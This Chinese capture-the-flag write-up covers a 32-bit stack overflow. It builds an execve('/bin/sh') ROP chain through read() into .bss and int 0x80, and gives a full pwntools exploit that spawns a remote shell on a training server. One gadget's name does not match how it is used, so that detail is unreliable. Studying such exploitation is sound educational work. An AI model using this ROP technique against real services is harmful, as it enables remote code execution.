简单粗暴,就是让你栈溢出,但这道题没有sys,需要自己构造,需要自己找大量的汇编代码,来进行系统调用。
其实就是控制eax=11 ebx=‘binsh’ ecx=0 edx =0
其实binsh 在该程序中没有,需要我们自行输入,我们可以调用read函数来往bss段上输入一个字符串
from pwn import * p = remote("node4.buuoj.cn",26378) read = 0x0806cd50 int_80 = 0x080493e1 pop_eax_ret = 0x080bae06 pop_edx_ecx_eax_ret = 0x0806e850 bss_addr = 0x080eb584 payload = "a" * 0x20 + p32(read) payload += p32(pop_edx_ecx_eax_ret) payload += p32(0) + p32(bss_addr) + p32(8) payload += p32(pop_eax_ret) + p32(0x0b) payload += p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(bss_addr) payload += p32(int_80) p.sendlineafter(":", payload) p.sendline("/bin/sh\x00") p.interactive()
继续练习的同时也要打捞汇编基础